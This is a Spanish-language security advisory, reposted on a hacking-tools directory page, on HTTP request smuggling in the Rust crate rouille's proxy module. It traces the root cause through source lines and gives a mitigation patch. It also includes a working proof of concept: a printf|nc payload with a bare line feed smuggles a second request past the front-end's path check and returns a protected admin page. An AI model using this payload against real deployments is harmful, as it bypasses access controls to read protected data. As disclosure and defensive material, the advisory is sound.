Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Aviso de seguridad: el contrabando de solicitudes HTTP permite omitir el control de acceso del front-end (rouille) | Kitploit
Herramientas/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Análisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Aviso de seguridad: el contrabando de solicitudes HTTP permite omitir el control de acceso del front-end (rouille)

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 23 díasAún no revisado

Aviso de seguridad: El contrabando de solicitudes HTTP permite eludir el control de acceso del front-end (rouille)

ID de CVE asignado: CVE-2026-67182

Resumen

rouille::proxy::proxy y rouille::proxy::full_proxy copian los valores de las cabeceras de solicitud proporcionados por el cliente a la conexión ascendente sin comprobarlos en busca de caracteres de control. Un valor de cabecera puede contener legítimamente un salto de línea simple (0x0A), porque el analizador de cabeceras subyacente de tiny_http solo termina una línea de cabecera con CRLF. Por lo tanto, los backends que aceptan un LF simple como terminador de línea leen una solicitud del front-end como dos.

La segunda solicitud está totalmente controlada por el atacante, incluidos su método y su ruta, y nunca pasa por el manejador de rouille que decidió hacer de proxy a la primera. Su cuerpo de respuesta también se devuelve al atacante.

Versiones afectadas

Repo URL: https://github.com/tomaka/rouille

Primera versión afectada0.3.3 (2016-12-03), la versión que introdujo src/proxy.rs
Última versión afectada3.6.2 (2023-04-24), la versión actual
No afectadas0.3.2 y anteriores, que no tienen módulo de proxy
Corregida enninguna versión corregida en el momento de redactar esto

Cada versión publicada desde 0.3.3 hasta 3.6.2 contiene el código sin modificar. El archivo src/proxy.rs es byte-idéntico entre la etiqueta 3.6.2 y la rama master actual.

Solo las aplicaciones que llaman a proxy::proxy o proxy::full_proxy se ven afectadas.

Gravedad

CWE-444 (Inconsistent Interpretation of HTTP Requests), alcanzado a través de CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).

Puntuación base CVSS 4.0: 6.9 (Media) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Modelo de amenaza

El atacante es un cliente remoto no autenticado que puede enviar HTTP sin procesar a un servidor rouille. No se requieren credenciales, ni interacción del usuario, ni una posición en la red entre los componentes.

El despliegue en riesgo es una aplicación rouille que actúa como proxy inverso y toma una decisión de seguridad (enrutamiento, autenticación, autorización o filtrado de contenido) antes de llamar a proxy(), delante de un backend cuyo analizador HTTP acepta un LF simple como terminador de línea de cabecera.

Comportamiento medido de los backends:

nginx y Apache no fueron probados. La sección 2.2 del RFC 9112 permite que un receptor reconozca un LF solitario como terminador de línea, por lo que los backends que lo aceptan se comportan dentro de lo especificado.

Causa raíz

rouille/src/proxy.rs, líneas 157 a 174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

La línea 171 es el sumidero. value no es de confianza y se escribe sin validación.

La contaminación entra a través de tiny_http. En tiny_http-0.12.0/src/client.rs, líneas 80 a 102, una línea de cabecera termina solo cuando un LF sigue a un CR:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Un LF solitario llega hasta la línea 100 y se añade al búfer de línea. LF es ASCII válido, por lo que AsciiString::from_ascii lo acepta. Header::from_str en tiny_http-0.12.0/src/common.rs, línea 184, solo recorta el valor, lo que elimina los espacios en blanco iniciales y finales pero deja intactos los bytes interiores:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

El resultado es un valor de cabecera de rouille que contiene un \n sin procesar, que la línea 171 de proxy.rs escribe directamente en la solicitud ascendente.

Connection: close en la línea 173 no contiene el daño. La línea en blanco inyectada termina la primera solicitud antes de que se ejecute la línea 173, por lo que esa cabecera se absorbe en la solicitud contrabandeada. La primera solicitud no lleva cabecera Connection y usa por defecto keep-alive HTTP/1.1, que es exactamente lo que permite que el backend continúe procesando la segunda.

Prueba de concepto

Paso 1. Crea una raíz de documentos del backend con un archivo público y un archivo que se supone que el proxy debe proteger.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Paso 2. Inicia un backend keep-alive en el puerto 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Paso 3. Inicia el front-end de rouille en el puerto 8000. Hace de proxy para /public/ y rechaza todo lo demás.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Paso 4. Confirma que el control de acceso funciona.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Paso 5. Envía una única solicitud para la ruta permitida con un LF simple dentro de un valor de cabecera. En el comando siguiente, \n es un salto de línea simple y \r\n es un CRLF. La distinción es todo el ataque, así que no dejes que un editor lo normalice.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Resultado. El registro del backend muestra dos solicitudes, siendo la segunda la ruta que el front-end rechazó en el paso 4:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

El atacante también recibe el contenido protegido, porque la línea 224 de src/proxy.rs convierte el resto del socket ascendente en el cuerpo de la respuesta:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Impacto

Un cliente no autenticado puede emitir una solicitud arbitraria al backend y leer su respuesta, mientras que el manejador de rouille solo ve la solicitud permitida. Esto anula el control de acceso basado en rutas, la autenticación realizada en el manejador y cualquier inspección de solicitudes hecha antes de la llamada a proxy().

Cabe señalar dos límites. proxy() abre una nueva conexión TCP por solicitud y no las agrupa, por lo que esto no produce el envenenamiento de la cola de solicitudes entre usuarios asociado al contrabando clásico. El ataque también necesita un backend tolerante a LF, como se ha medido anteriormente.

Mitigación

Rechaza los nombres y valores de cabecera que contengan caracteres de control antes de escribirlos en la solicitud ascendente. En src/proxy.rs, dentro del bucle en la línea 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Descargar herramienta
BackendVersión probadaAcepta el LF inyectado
Go net/httpgo1.26.4sí, sirve la solicitud contrabandeada
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13sí, sirve la solicitud contrabandeada
Node.jsv26.3.0no, devuelve 400 (modo estricto de llhttp)
PHP built-in server8.5.8no, cierra la conexión